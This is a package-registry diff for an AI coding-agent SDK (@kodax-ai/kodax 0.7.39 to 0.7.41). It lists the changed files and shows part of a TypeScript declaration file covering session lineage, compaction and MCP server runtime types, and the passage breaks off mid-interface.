@kodax-ai/kodax 0.7.39 → 0.7.41

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (61) hide show
  1. package/CHANGELOG.md +100 -0
  2. package/README.md +58 -0
  3. package/README_CN.md +31 -0
  4. package/dist/chunks/{chunk-SF7WD7E5.js → chunk-5TFLMGER.js} +1 -1
  5. package/dist/chunks/{chunk-HUAU4KB3.js → chunk-6OB4AJOM.js} +1 -1
  6. package/dist/chunks/chunk-6QO6HWGU.js +30 -0
  7. package/dist/chunks/{chunk-SONW6AC7.js → chunk-EQ5DGS2W.js} +1 -1
  8. package/dist/chunks/chunk-EVIDQWMF.js +5 -0
  9. package/dist/chunks/chunk-HYWVRTFA.js +1233 -0
  10. package/dist/chunks/chunk-SX2IS5JP.js +16 -0
  11. package/dist/chunks/chunk-V4WSBIXB.js +2 -0
  12. package/dist/chunks/chunk-ZPJPNLBK.js +462 -0
  13. package/dist/chunks/compaction-config-LT5PEXPT.js +2 -0
  14. package/dist/chunks/{construction-bootstrap-XSE7ZABG.js → construction-bootstrap-HBCWJFHC.js} +1 -1
  15. package/dist/chunks/{devtools-MOFU7YQF.js → devtools-EYGFOXEU.js} +1 -1
  16. package/dist/chunks/{dist-WKW4CBG6.js → dist-M57GIWR4.js} +1 -1
  17. package/dist/chunks/dist-V3BS2NKB.js +2 -0
  18. package/dist/chunks/paste-5DSTHQGK.js +2 -0
  19. package/dist/chunks/{utils-3HW4KOGE.js → utils-FAFUQJ2A.js} +1 -1
  20. package/dist/index.d.ts +232 -7
  21. package/dist/index.js +2 -2
  22. package/dist/kodax_cli.js +945 -923
  23. package/dist/sdk-agent.d.ts +1459 -10
  24. package/dist/sdk-agent.js +1 -1
  25. package/dist/sdk-coding.d.ts +4543 -14
  26. package/dist/sdk-coding.js +1 -1
  27. package/dist/sdk-llm.d.ts +209 -10
  28. package/dist/sdk-llm.js +1 -1
  29. package/dist/sdk-repl.d.ts +2694 -13
  30. package/dist/sdk-repl.js +1 -1
  31. package/dist/sdk-skills.d.ts +487 -11
  32. package/dist/sdk-skills.js +1 -1
  33. package/dist/types-chunks/bash-prefix-extractor.d-B2iliwdi.d.ts +2432 -0
  34. package/dist/types-chunks/capability.d-BxNgd1-c.d.ts +368 -0
  35. package/dist/types-chunks/cost-tracker.d-C4dMlQuV.d.ts +342 -0
  36. package/dist/types-chunks/history-cleanup.d-q1vAvCss.d.ts +1266 -0
  37. package/dist/types-chunks/instance-discovery.d-DZhp77vb.d.ts +1217 -0
  38. package/dist/types-chunks/resolver.d-BwD6TKz7.d.ts +262 -0
  39. package/dist/types-chunks/storage.d-Bv9T99Qu.d.ts +584 -0
  40. package/dist/types-chunks/types.d-C5mHR87z.d.ts +119 -0
  41. package/package.json +8 -2
  42. package/dist/acp_events.d.ts +0 -109
  43. package/dist/acp_logger.d.ts +0 -20
  44. package/dist/acp_server.d.ts +0 -92
  45. package/dist/chunks/chunk-4E76FLZ3.js +0 -2
  46. package/dist/chunks/chunk-7LQ2NCHF.js +0 -1221
  47. package/dist/chunks/chunk-N2VZ2MJF.js +0 -11
  48. package/dist/chunks/chunk-WEEQZYZS.js +0 -460
  49. package/dist/chunks/chunk-XI75LZIO.js +0 -30
  50. package/dist/chunks/compaction-config-YL4SWWII.js +0 -2
  51. package/dist/chunks/dist-AMUYI7R5.js +0 -2
  52. package/dist/cli_commands.d.ts +0 -17
  53. package/dist/cli_option_helpers.d.ts +0 -49
  54. package/dist/cli_option_helpers.test.d.ts +0 -1
  55. package/dist/constructed_cli.d.ts +0 -82
  56. package/dist/constructed_cli.test.d.ts +0 -1
  57. package/dist/kodax_cli.d.ts +0 -7
  58. package/dist/self_modify_cli.d.ts +0 -81
  59. package/dist/self_modify_cli.test.d.ts +0 -9
  60. package/dist/skill_cli.d.ts +0 -15
  61. package/dist/skill_cli.test.d.ts +0 -1
@@ -1,20 +1,4549 @@
1
+ import { o as KodaXMessage, a as CapabilityProvider, C as CapabilityKind, b as CapabilityResult, _ as KodaXToolDefinition, G as KodaXReasoningMode, a0 as KodaXToolUseBlock, i as KodaXContentBlock, s as KodaXProviderCapabilityProfile, F as KodaXReasoningCapability, T as KodaXTaskType, k as KodaXExecutionMode, S as KodaXTaskRoutingDecision, K as KodaXAmaControllerDecision, Y as KodaXThinkingDepth } from './types-chunks/capability.d-BxNgd1-c.js';
2
+ export { c as KodaXAmaFanoutClass, d as KodaXAmaFanoutPolicy, e as KodaXAmaProfile, f as KodaXAmaTactic, j as KodaXCustomProviderConfig, n as KodaXImageBlock, p as KodaXModelDescriptor, r as KodaXProtocolFamily, t as KodaXProviderConfig, v as KodaXProviderConversationSemantics, y as KodaXProviderMcpSupport, B as KodaXProviderStreamOptions, E as KodaXProviderTransport, H as KodaXReasoningOverride, I as KodaXReasoningRequest, J as KodaXRedactedThinkingBlock, L as KodaXReviewScale, M as KodaXRiskLevel, N as KodaXStreamResult, P as KodaXTaskBudgetOverrides, V as KodaXTextBlock, W as KodaXThinkingBlock, X as KodaXThinkingBudgetMap, Z as KodaXTokenUsage, $ as KodaXToolResultBlock } from './types-chunks/capability.d-BxNgd1-c.js';
3
+ export { K as KODAX_DEFAULT_PROVIDER, b as KODAX_PROVIDERS, c as KODAX_PROVIDER_SNAPSHOTS, d as KODAX_REASONING_MODE_SEQUENCE, f as KodaXAnthropicCompatProvider, g as KodaXError, i as KodaXOpenAICompatProvider, j as KodaXProviderError, k as KodaXRateLimitError, P as ProviderName, m as buildReasoningOverrideKey, o as clearReasoningOverride, p as clearRuntimeModelProviders, q as createCustomProvider, r as getAvailableProviderNames, s as getCustomProvider, t as getCustomProviderList, u as getCustomProviderModels, v as getCustomProviderNames, x as getProvider, y as getProviderConfiguredCapabilityProfile, z as getProviderConfiguredReasoningCapability, A as getProviderList, B as getProviderModel, C as getProviderModels, E as getRuntimeModelProvider, F as getRuntimeModelProviderNames, G as isCustomProviderName, H as isKnownProvider, I as isProviderConfigured, J as isProviderName, M as isRuntimeModelProviderName, N as loadReasoningOverride, R as reasoningCapabilityToOverride, S as reasoningOverrideToCapability, T as registerCustomProviders, U as registerModelProvider, V as resolveProvider, X as saveReasoningOverride } from './types-chunks/resolver.d-BwD6TKz7.js';
4
+ import { K as KodaXBaseProvider, a as CostTracker } from './types-chunks/cost-tracker.d-C4dMlQuV.js';
5
+ import { q as CompactionDetails, ay as McpServerConfig, az as McpServersConfig, as as KodaXToolExecutionContext, a2 as KodaXRepoIntelligenceCapability, a5 as KodaXRepoIntelligenceTrace, a3 as KodaXRepoIntelligenceMode, a7 as KodaXRepoRoutingSignals, a4 as KodaXRepoIntelligenceResolvedMode, _ as KodaXOptions, P as KodaXInputArtifact, G as KodaXContextOptions, a1 as KodaXProviderPolicyHints, aD as ProviderResilienceConfig, aE as ProviderResiliencePolicy, F as FailureStage, aJ as ResilienceClassification, aB as ProviderExecutionState, aG as RecoveryDecision, aI as RecoveryResult, a8 as KodaXResult, O as KodaXFanoutSchedulerPlan, M as KodaXFanoutBranchTransition, N as KodaXFanoutSchedulerInput, z as KodaXChildContextBundle, a0 as KodaXParentReductionContract, L as KodaXFanoutBranchRecord, R as KodaXManagedProtocolPayload, u as ExtensionRuntimeContract, I as KodaXEvents, k as AutoRules, aS as ToolCallSignal, aN as SignalCollector } from './types-chunks/bash-prefix-extractor.d-B2iliwdi.js';
6
+ export { C as AUTO_MODE_DENIAL_CONSECUTIVE_THRESHOLD, n as AUTO_MODE_DENIAL_CUMULATIVE_THRESHOLD, A as AgentsFile, a as AskUserMultiOptions, b as AskUserQuestionItem, c as AskUserQuestionOptions, d as AutoModeAskUser, e as AutoModeAskUserVerdict, D as AutoModeDenialTracker, f as AutoModeEngine, g as AutoModeGuardrailConfig, h as AutoModeSharedState, i as AutoModeStats, j as AutoModeToolGuardrail, B as BASH_POLICY_SPEC, E as BREAKER_ERROR_THRESHOLD, aU as BREAKER_WINDOW_MS, l as BashPrefixExtractor, m as BashPrefixResult, o as CircuitBreaker, p as CompactionAnchor, r as CompactionResult, s as CompactionUpdate, t as CreateBashPrefixExtractorOptions, v as ExtractCommandPrefixOptions, K as KodaXAgentMode, w as KodaXBudgetDisclosureZone, x as KodaXBudgetExtensionRequest, y as KodaXChildAgentResult, H as KodaXContextTokenSnapshot, J as KodaXFanoutBranchLifecycle, Q as KodaXManagedBudgetSnapshot, S as KodaXManagedTask, T as KodaXManagedTaskRuntimeState, U as KodaXManagedTaskStatusEvent, V as KodaXMcpConnectMode, W as KodaXMcpServerConfig, X as KodaXMcpServersConfig, Y as KodaXMcpTransport, Z as KodaXMemoryStrategy, $ as KodaXOrchestrationVerdict, a6 as KodaXRepoIntelligenceTraceEvent, a9 as KodaXRoleRoundSummary, aa as KodaXRuntimeVerificationContract, ab as KodaXSessionOptions, ac as KodaXSkillInvocationContext, ad as KodaXSkillMap, ae as KodaXSkillProjectionConfidence, af as KodaXTaskCapabilityHint, ag as KodaXTaskContract, ah as KodaXTaskEvidenceArtifact, ai as KodaXTaskEvidenceBundle, aj as KodaXTaskEvidenceEntry, ak as KodaXTaskRole, al as KodaXTaskRoleAssignment, am as KodaXTaskStatus, an as KodaXTaskSurface, ao as KodaXTaskToolPolicy, ap as KodaXTaskVerificationContract, aq as KodaXTaskVerificationCriterion, ar as KodaXTaskWorkItem, at as KodaXVerificationScorecard, au as KodaXVerificationScorecardCriterion, av as LoadAgentsOptions, aw as LoadedRulesSource, ax as McpConnectMode, aA as McpTransportKind, aC as ProviderRecoveryEvent, aF as RecoveryAction, aH as RecoveryLadderStep, aK as ResilienceErrorClass, aL as RulesLoadError, aM as RulesLoadResult, aO as SkippedRulesSource, aP as TodoItem, aQ as TodoList, aR as TodoStatus, aT as TrustState, b9 as autoModeDenialShouldFallback, ba as breakerShouldFallback, aV as collectAllSignals, aW as computeRulesFingerprint, a_ as createAutoModeDenialTracker, aX as createAutoModeToolGuardrail, aY as createBashPrefixExtractor, aZ as createCircuitBreaker, a$ as extractCommandPrefix, b0 as formatAgentsForPrompt, b1 as getKodaxGlobalDir, b2 as loadAgentsFiles, b3 as loadAutoRules, b4 as parseAutoRules, b5 as readTrustState, b6 as recordAutoModeAllow, b7 as recordAutoModeBlock, b8 as recordBreakerError, bb as trustProjectRules } from './types-chunks/bash-prefix-extractor.d-B2iliwdi.js';
7
+ import { N as SessionExtension, L as SessionEntry, g as CompactionPolicy, S as Session, C as CompactionContext, w as PolicyCompactionResult, Q as QualityInvariant, W as ToolCapability } from './types-chunks/history-cleanup.d-q1vAvCss.js';
8
+ export { e as CompactionEntry, f as CompactionEntryPayload, h as DefaultSummaryCompaction, i as DefaultSummaryCompactionOptions, I as InMemorySessionOptions, K as KODAX_API_MIN_INTERVAL, n as KODAX_DEFAULT_TIMEOUT, o as KODAX_HARD_TIMEOUT, p as KODAX_MAX_INCOMPLETE_RETRIES, r as KODAX_MAX_RETRIES, s as KODAX_MAX_TOKENS, t as KODAX_RETRY_BASE_DELAY, u as KODAX_STAGGER_DELAY, v as MessageEntry, P as PROMISE_PATTERN, x as PresetDispatcher, B as RunEvent, E as RunOptions, F as RunResult, G as Runner, T as SessionForkOptions, $ as cleanupIncompleteToolCalls, a0 as countTokens, a1 as createInMemorySession, a4 as estimateTokens, a7 as registerPresetDispatcher, aa as validateAndFixToolHistory } from './types-chunks/history-cleanup.d-q1vAvCss.js';
9
+ import { z as KodaXSessionLineage, q as KodaXJsonValue, l as KodaXCompactMemorySeed, w as KodaXSessionEntry, N as KodaXSessionTreeNode, y as KodaXSessionLabelEntry, F as KodaXSessionNavigationOptions, s as KodaXSessionArtifactLedgerEntry, m as KodaXExtensionSessionRecord, o as KodaXExtensionStore, a3 as SessionErrorMetadata, Y as RunnableTool, A as Agent, ae as ToolGuardrail, a as AgentMessage, _ as RunnerLlmReturn, $ as RunnerToolCall } from './types-chunks/instance-discovery.d-DZhp77vb.js';
10
+ export { c as AgentReasoningProfile, d as AgentTool, G as Guardrail, H as Handoff, K as KodaXCompactMemoryProgress, n as KodaXExtensionSessionState, t as KodaXSessionBranchSummaryEntry, u as KodaXSessionCompactionEntry, v as KodaXSessionData, x as KodaXSessionEntryBase, B as KodaXSessionMessageEntry, E as KodaXSessionMeta, J as KodaXSessionRuntimeInfo, L as KodaXSessionScope, M as KodaXSessionStorage, O as KodaXSessionUiHistoryItem, P as KodaXSessionUiHistoryItemType, Q as KodaXSessionWorkspaceKind, U as ReasoningDepth, ai as createAgent, aj as createHandoff } from './types-chunks/instance-discovery.d-DZhp77vb.js';
11
+ import '@anthropic-ai/sdk';
12
+ import 'openai';
13
+
1
14
  /**
2
- * SDK subpath entry `@kodax-ai/kodax/coding`
15
+ * LineageExtension SessionExtension façade over lineage semantics.
3
16
  *
4
- * Re-exports the entire `@kodax-ai/coding` public API — coding tools,
5
- * prompts, AMA harness primitives, child task dispatch, idle-yield
6
- * orchestration, etc.
17
+ * FEATURE_081 (v0.7.23): expresses today's `KodaXSessionLineage` operations
18
+ * (label, rewind, compaction ledger, branch summary) as a
19
+ * `SessionExtension` over the base `Session` primitive.
7
20
  *
8
- * Note: the root entry `@kodax-ai/kodax` already does `export * from
9
- * '@kodax-ai/coding'` for backward compatibility with v0.7.38's single-
10
- * entry model. This subpath is provided as a tree-shake-friendly
11
- * alternative when SDK consumers only need coding-package APIs.
21
+ * FEATURE_082 (v0.7.24): moved from `@kodax-ai/coding/src/extensions/lineage.ts`
22
+ * to this package. Depends on `@kodax-ai/agent` for `Session` / `SessionEntry` /
23
+ * `SessionExtension` (Layer A primitives extracted to `@kodax-ai/core` in
24
+ * FEATURE_082, merged back into `@kodax-ai/agent` in v0.7.35.1 FEATURE_142).
25
+ * `@kodax-ai/coding` keeps a barrel re-export.
12
26
  *
13
- * Usage:
14
- * ```ts
15
- * import { runKodaX, dispatchChildTask } from '@kodax-ai/kodax/coding';
16
- * ```
27
+ * Scope:
28
+ * - Declare the extension object.
29
+ * - Implement `label` and `attachArtifact` operators that append standard
30
+ * entries to a Session.
31
+ * - Implement a `buildLineageTree` reducer that projects an entry stream
32
+ * back to a navigable tree.
33
+ * - NOT re-implemented here: `branch`, `rewind`, full compaction. Those
34
+ * stay in `@kodax-ai/agent/session-lineage.ts` for coding-preset use; the
35
+ * `LineageCompaction` policy in this package is the thin wrapper that
36
+ * adapts them to the Layer A `CompactionPolicy` contract.
37
+ */
38
+
39
+ /**
40
+ * Entry types claimed by `LineageExtension`. Mirrors the legacy
41
+ * `KodaXSessionEntry` tagged union plus a `rewind_marker` placeholder (the
42
+ * legacy lineage records rewinds via `activeEntryId` mutation; Session is
43
+ * linear, so a marker entry is the equivalent).
44
+ */
45
+ declare const LINEAGE_ENTRY_TYPES: readonly ["message", "label", "compaction", "branch_summary", "archive_marker", "rewind_marker", "artifact_ledger"];
46
+ type LineageEntryType = (typeof LINEAGE_ENTRY_TYPES)[number];
47
+ /**
48
+ * Payload shape for a `label` entry. Mirrors
49
+ * `KodaXSessionLabelEntry.targetId`/`label` fields on the legacy lineage.
50
+ */
51
+ interface LineageLabelPayload {
52
+ readonly targetId: string;
53
+ readonly label?: string;
54
+ }
55
+ /**
56
+ * Payload shape for an `artifact_ledger` entry. Mirrors a minimal subset of
57
+ * `KodaXSessionArtifactLedgerEntry`; full semantic fidelity is kept on the
58
+ * legacy side for now and normalised in FEATURE_082.
59
+ */
60
+ interface LineageArtifactLedgerPayload {
61
+ readonly ref: string;
62
+ readonly kind?: string;
63
+ readonly summary?: string;
64
+ }
65
+ /**
66
+ * Projected tree node. Mirrors the navigation shape of
67
+ * `KodaXSessionTreeNode` from `@kodax-ai/agent/types.ts`, restricted to the
68
+ * fields the base Session can supply.
69
+ */
70
+ interface LineageTreeNode {
71
+ readonly entry: SessionEntry;
72
+ readonly children: LineageTreeNode[];
73
+ readonly label?: string;
74
+ }
75
+ /**
76
+ * The exported extension. Operators write standard-shaped entries; the
77
+ * reducer projects an entry stream back to a navigable tree.
78
+ *
79
+ * Immutability: top-level object, `operators`, and `reducers` are all
80
+ * frozen. Freezes are shallow — the functions stored inside `operators`
81
+ * and `reducers` are immutable by nature (closures reference only
82
+ * module-private state). External code must not mutate the extension;
83
+ * doing so is a programmer error that the type-level `readonly` already
84
+ * disallows without a cast.
85
+ */
86
+ declare const LineageExtension: SessionExtension;
87
+
88
+ /**
89
+ * LineageCompaction — `CompactionPolicy` adapter for the coding preset's
90
+ * FEATURE_072 lineage-native compaction runtime.
91
+ *
92
+ * FEATURE_082 (v0.7.24): introduced alongside the lineage extraction so the
93
+ * coding preset can implement `CompactionPolicy` without re-implementing the
94
+ * compaction loop. The actual compaction runtime (microcompaction, post-
95
+ * compact reconstruction, summary generation) stays in
96
+ * `@kodax-ai/agent/src/compaction/` until FEATURE_084 (v0.7.26) consolidates it.
97
+ *
98
+ * Usage (inside @kodax-ai/coding):
99
+ *
100
+ * const policy = new LineageCompaction({
101
+ * shouldCompact: (session, used, budget) => runFeature072Heuristic(used, budget),
102
+ * compact: async (session, ctx) => runFeature072Compaction(session, ctx),
103
+ * });
104
+ *
105
+ * The injected delegates keep this package free of coding-specific imports,
106
+ * preserving the dependency direction
107
+ * `@kodax-ai/coding -> @kodax-ai/session-lineage -> @kodax-ai/agent`.
108
+ */
109
+
110
+ /**
111
+ * Delegates required to implement `LineageCompaction`. The coding preset
112
+ * supplies implementations that bridge to the existing FEATURE_072 code
113
+ * paths.
114
+ */
115
+ interface LineageCompactionDelegates {
116
+ readonly shouldCompact: (session: Session, tokensUsed: number, budget: number) => boolean;
117
+ readonly compact: (session: Session, ctx: CompactionContext) => Promise<PolicyCompactionResult>;
118
+ readonly restore?: (session: Session, hint: unknown) => Promise<void>;
119
+ }
120
+ /**
121
+ * `CompactionPolicy` implementation that preserves FEATURE_072 lineage-native
122
+ * compaction semantics by delegating to injected coding-preset functions.
123
+ */
124
+ declare class LineageCompaction implements CompactionPolicy {
125
+ readonly name = "lineage-compaction";
126
+ private readonly delegates;
127
+ constructor(delegates: LineageCompactionDelegates);
128
+ shouldCompact(session: Session, tokensUsed: number, budget: number): boolean;
129
+ compact(session: Session, ctx: CompactionContext): Promise<PolicyCompactionResult>;
130
+ restore(session: Session, hint: unknown): Promise<void>;
131
+ }
132
+
133
+ /**
134
+ * @kodax-ai/agent Session
135
+ *
136
+ * 会话管理 - Session ID 生成和消息处理
137
+ */
138
+
139
+ /**
140
+ * 生成会话 ID
141
+ * 格式: YYYYMMDD_HHMMSS
142
+ */
143
+ declare function generateSessionId(): Promise<string>;
144
+ /**
145
+ * 从消息中提取标题
146
+ * 取第一条用户消息的前50个字符
147
+ */
148
+ declare function extractTitleFromMessages(messages: KodaXMessage[]): string;
149
+
150
+ type NavigableSessionEntry = Exclude<KodaXSessionEntry, KodaXSessionLabelEntry>;
151
+ /**
152
+ * Reconcile a linear message list against an existing lineage tree.
153
+ *
154
+ * Existing matching entries are reused when possible, and only the missing
155
+ * tail is appended as new message entries.
156
+ */
157
+ declare function createSessionLineage(messages: KodaXMessage[], previous?: KodaXSessionLineage): KodaXSessionLineage;
158
+ /**
159
+ * Walk the lineage from a target entry back to the root.
160
+ *
161
+ * Traversal stops safely if malformed data introduces a parent cycle.
162
+ */
163
+ declare function getSessionLineagePath(lineage: KodaXSessionLineage, targetId?: string | null): NavigableSessionEntry[];
164
+ /**
165
+ * Build the effective LLM-visible message context for the active lineage path.
166
+ *
167
+ * FEATURE_072: for non-rewind compaction entries that carry
168
+ * `postCompactAttachments`, the slicer inlines attachments immediately after
169
+ * the summary. `getContextMessagesForEntry` stays 1-to-1 — attachments are a
170
+ * slicer-layer concern, which preserves the contract
171
+ * `entryMatchesContextMessage` and FEATURE_073's future firstKeptEntryId-based
172
+ * slicing both depend on.
173
+ */
174
+ declare function getSessionMessagesFromLineage(lineage: KodaXSessionLineage, targetId?: string | null): KodaXMessage[];
175
+ /**
176
+ * Resolve an entry selector using either a direct entry id or the latest label.
177
+ */
178
+ declare function resolveSessionLineageTarget(lineage: KodaXSessionLineage, selector: string): NavigableSessionEntry | undefined;
179
+ /**
180
+ * Move the active leaf to a selected target, optionally appending a
181
+ * branch-summary node that captures the abandoned path.
182
+ */
183
+ declare function setSessionLineageActiveEntry(lineage: KodaXSessionLineage, selector: string, options?: KodaXSessionNavigationOptions): KodaXSessionLineage | null;
184
+ /**
185
+ * Append a label change entry that bookmarks a lineage node.
186
+ */
187
+ declare function appendSessionLineageLabel(lineage: KodaXSessionLineage, selector: string, label?: string): KodaXSessionLineage | null;
188
+ /**
189
+ * Apply a compaction event to the lineage.
190
+ *
191
+ * FEATURE_072 signature change: `keptMessages` (the post-summary tail that
192
+ * will become lineage entries) and `postCompactAttachments` (ledger +
193
+ * file-content messages that live on the CompactionEntry itself) are now
194
+ * separate parameters. The kept tail MUST NOT include attachments — otherwise
195
+ * they would be double-stored (once as message entries in lineage, once on
196
+ * the compaction entry). Phase A keeps `postCompactAttachments` optional so
197
+ * current callers that pass `[]` (or omit it) behave identically to today.
198
+ * Phase B migrates callers to supply real attachments.
199
+ */
200
+ declare function applySessionCompaction(lineage: KodaXSessionLineage | undefined, compactedMessages: KodaXMessage[], anchor: {
201
+ summary: string;
202
+ tokensBefore?: number;
203
+ tokensAfter?: number;
204
+ artifactLedgerId?: string;
205
+ reason?: string;
206
+ details?: KodaXJsonValue | CompactionDetails;
207
+ memorySeed?: KodaXCompactMemorySeed;
208
+ }, postCompactAttachments?: readonly KodaXMessage[]): KodaXSessionLineage;
209
+ /**
210
+ * Rewind the current session lineage to a target entry, truncating all entries after it.
211
+ * Records a rewind event in the lineage for auditability.
212
+ * Returns null if targetEntryId is not found.
213
+ *
214
+ * @param lineage - The session lineage to rewind
215
+ * @param targetEntryId - The entry ID to rewind to (inclusive)
216
+ * @returns A new lineage with entries truncated after the target, or null if target not found
217
+ */
218
+ /**
219
+ * Find the entry ID of the second-to-last user message in the lineage.
220
+ * Used by `/rewind` (no argument) to go back one conversational turn.
221
+ * Returns null if fewer than 2 user messages exist.
222
+ */
223
+ declare function findPreviousUserEntryId(lineage: KodaXSessionLineage): string | null;
224
+ declare function rewindSessionLineage(lineage: KodaXSessionLineage, targetEntryId: string): KodaXSessionLineage | null;
225
+ declare function forkSessionLineage(lineage: KodaXSessionLineage, selector?: string): KodaXSessionLineage | null;
226
+ /**
227
+ * Convert a lineage into a nested tree structure for UI presentation.
228
+ */
229
+ declare function buildSessionTree(lineage: KodaXSessionLineage): KodaXSessionTreeNode[];
230
+ /**
231
+ * Count the effective context messages on the active lineage path.
232
+ */
233
+ declare function countActiveLineageMessages(lineage: KodaXSessionLineage): number;
234
+ /**
235
+ * Archive message entries from old "islands" (disconnected subtrees).
236
+ *
237
+ * Each compaction entry has parentId: null, creating an independent island.
238
+ * The active leaf lives in one island (the "current" island). All other
239
+ * islands are considered "old" and eligible for archival.
240
+ *
241
+ * A "preserve closure" is computed first:
242
+ * - All entries in the current island (active path + recent branches)
243
+ * - Label targets and their ancestor chains
244
+ * - Non-message entries and their ancestor chains (prevents tree drift)
245
+ *
246
+ * Only entries outside the preserve closure are archived.
247
+ */
248
+ declare function archiveOldIslands(lineage: KodaXSessionLineage): {
249
+ slimmedLineage: KodaXSessionLineage;
250
+ archivedEntries: KodaXSessionEntry[];
251
+ archivedCount: number;
252
+ archiveBatchId: string;
253
+ };
254
+
255
+ /**
256
+ * @kodax-ai/agent File Tracking
257
+ */
258
+
259
+ declare function extractArtifactLedger(messages: KodaXMessage[]): KodaXSessionArtifactLedgerEntry[];
260
+ declare function mergeArtifactLedger(existing: KodaXSessionArtifactLedgerEntry[], next: KodaXSessionArtifactLedgerEntry[]): KodaXSessionArtifactLedgerEntry[];
261
+
262
+ type McpCapabilityKind = 'tool' | 'resource' | 'prompt';
263
+ type McpCapabilityRisk = 'read' | 'write' | 'network' | 'exec';
264
+ interface McpCatalogItem {
265
+ id: string;
266
+ serverId: string;
267
+ kind: McpCapabilityKind;
268
+ name: string;
269
+ title?: string;
270
+ summary: string;
271
+ tags?: string[];
272
+ risk?: McpCapabilityRisk;
273
+ annotations?: Record<string, unknown>;
274
+ cachedAt: string;
275
+ }
276
+ interface McpCapabilityDescriptor extends McpCatalogItem {
277
+ inputSchema?: unknown;
278
+ outputSchema?: unknown;
279
+ promptArgsSchema?: unknown;
280
+ uri?: string;
281
+ mimeType?: string;
282
+ }
283
+ interface McpServerCatalogSnapshot {
284
+ serverId: string;
285
+ items: McpCatalogItem[];
286
+ descriptors: McpCapabilityDescriptor[];
287
+ updatedAt: string;
288
+ }
289
+ interface McpCatalogSearchOptions {
290
+ kind?: McpCapabilityKind;
291
+ limit?: number;
292
+ }
293
+ declare function defaultMcpCacheDir(): string;
294
+ declare function createMcpCapabilityId(serverId: string, kind: McpCapabilityKind, name: string): string;
295
+ declare function parseMcpCapabilityId(id: string): {
296
+ serverId: string;
297
+ kind: McpCapabilityKind;
298
+ name: string;
299
+ };
300
+ declare function searchMcpCatalog(items: readonly McpCatalogItem[], query: string, options?: McpCatalogSearchOptions): McpCatalogItem[];
301
+ declare function getMcpCachePaths(cacheDir: string, serverId: string): {
302
+ catalogDir: string;
303
+ indexPath: string;
304
+ itemsPath: string;
305
+ };
306
+
307
+ interface McpServerRuntimeDiagnostics {
308
+ serverId: string;
309
+ connect: 'lazy' | 'prewarm' | 'disabled';
310
+ status: 'idle' | 'connecting' | 'ready' | 'error' | 'disabled';
311
+ dirty: boolean;
312
+ lastError?: string;
313
+ cachedAt?: string;
314
+ tools: number;
315
+ resources: number;
316
+ prompts: number;
317
+ }
318
+ declare class McpServerRuntime {
319
+ private readonly serverId;
320
+ private readonly config;
321
+ private readonly cacheDir;
322
+ private transport?;
323
+ private readonly pending;
324
+ private nextRequestId;
325
+ private initialized;
326
+ private connectPromise?;
327
+ private catalog?;
328
+ private diagnostics;
329
+ constructor(serverId: string, config: McpServerConfig, cacheDir: string);
330
+ getDiagnostics(): McpServerRuntimeDiagnostics;
331
+ prewarmIfNeeded(): Promise<void>;
332
+ /** Load catalog from memory or disk only — never triggers a lazy connection. */
333
+ getCachedCatalog(): Promise<McpServerCatalogSnapshot | undefined>;
334
+ getCatalog(forceRefresh?: boolean): Promise<McpServerCatalogSnapshot>;
335
+ describeCapability(capabilityId: string): Promise<McpCapabilityDescriptor | undefined>;
336
+ callTool(name: string, args: Record<string, unknown>): Promise<{
337
+ content?: string;
338
+ structuredContent?: unknown;
339
+ metadata?: Record<string, unknown>;
340
+ }>;
341
+ readResource(name: string, options: Record<string, unknown>): Promise<{
342
+ content?: string;
343
+ structuredContent?: unknown;
344
+ metadata?: Record<string, unknown>;
345
+ }>;
346
+ getPrompt(name: string, args: Record<string, unknown>): Promise<unknown>;
347
+ refreshCatalog(forceReconnect?: boolean): Promise<void>;
348
+ /** Public teardown — clears everything including the connect lock. */
349
+ dispose(): Promise<void>;
350
+ /** Internal transport teardown — does NOT clear connectPromise so the
351
+ * retry loop inside doConnect() can safely call it between attempts. */
352
+ private resetTransport;
353
+ private connect;
354
+ private doConnect;
355
+ private listDescriptors;
356
+ private request;
357
+ private notify;
358
+ private handleMessage;
359
+ private failPending;
360
+ private applyCatalogSnapshot;
361
+ }
362
+
363
+ /**
364
+ * `McpCapabilityProvider` — implements the Layer A `CapabilityProvider`
365
+ * contract for an MCP server fleet.
366
+ *
367
+ * FEATURE_082 (v0.7.24): moved from
368
+ * `@kodax-ai/coding/src/capabilities/providers/mcp/provider.ts` to this package.
369
+ * The coding-specific `registerConfiguredMcpCapabilityProvider` adapter (which
370
+ * pulls in `KodaXExtensionRuntime`) lives in
371
+ * `@kodax-ai/coding/src/capabilities/providers/mcp-adapter.ts`.
372
+ */
373
+
374
+ interface McpProviderOptions {
375
+ cacheDir?: string;
376
+ }
377
+ declare class McpCapabilityProvider implements CapabilityProvider {
378
+ readonly id = "mcp";
379
+ readonly kinds: CapabilityProvider['kinds'];
380
+ private readonly runtimes;
381
+ private readonly cacheDir;
382
+ /**
383
+ * Construct an MCP capability provider.
384
+ *
385
+ * **Cache-dir capture warning (v0.7.35.1 FEATURE_145)** — when
386
+ * `options.cacheDir` is omitted, this constructor resolves
387
+ * `defaultMcpCacheDir()` ONCE at instantiation time and threads the
388
+ * result into every `McpServerRuntime` it spawns. If a substrate
389
+ * consumer plans to redirect the agent config home via
390
+ * `setAgentConfigHome()` from `@kodax-ai/agent`, that call MUST happen
391
+ * BEFORE constructing this provider. Late calls have no effect on
392
+ * already-constructed runtimes.
393
+ *
394
+ * To bypass the agent-home resolver entirely, pass
395
+ * `options.cacheDir` explicitly — that path wins unconditionally.
396
+ */
397
+ constructor(servers: McpServersConfig | undefined, options?: McpProviderOptions);
398
+ hasActiveServers(): boolean;
399
+ prewarm(): Promise<void>;
400
+ search(query: string, options?: {
401
+ kind?: CapabilityKind;
402
+ limit?: number;
403
+ server?: string;
404
+ }): Promise<unknown[]>;
405
+ describe(id: string): Promise<unknown>;
406
+ execute(id: string, input: Record<string, unknown>): Promise<CapabilityResult>;
407
+ read(id: string, options?: Record<string, unknown>): Promise<CapabilityResult>;
408
+ getPrompt(id: string, args?: Record<string, unknown>): Promise<unknown>;
409
+ getPromptContext(): Promise<string | undefined>;
410
+ getDiagnostics(): Record<string, unknown> | undefined;
411
+ refresh(): Promise<void>;
412
+ dispose(): Promise<void>;
413
+ private collectCatalogItems;
414
+ private listServerDiagnostics;
415
+ private requireRuntime;
416
+ }
417
+
418
+ interface McpTransportEvents {
419
+ /** Called with a complete JSON-RPC message (raw JSON string). */
420
+ onMessage(raw: string): void;
421
+ onError(error: Error): void;
422
+ onClose(reason: string): void;
423
+ }
424
+ interface McpTransport {
425
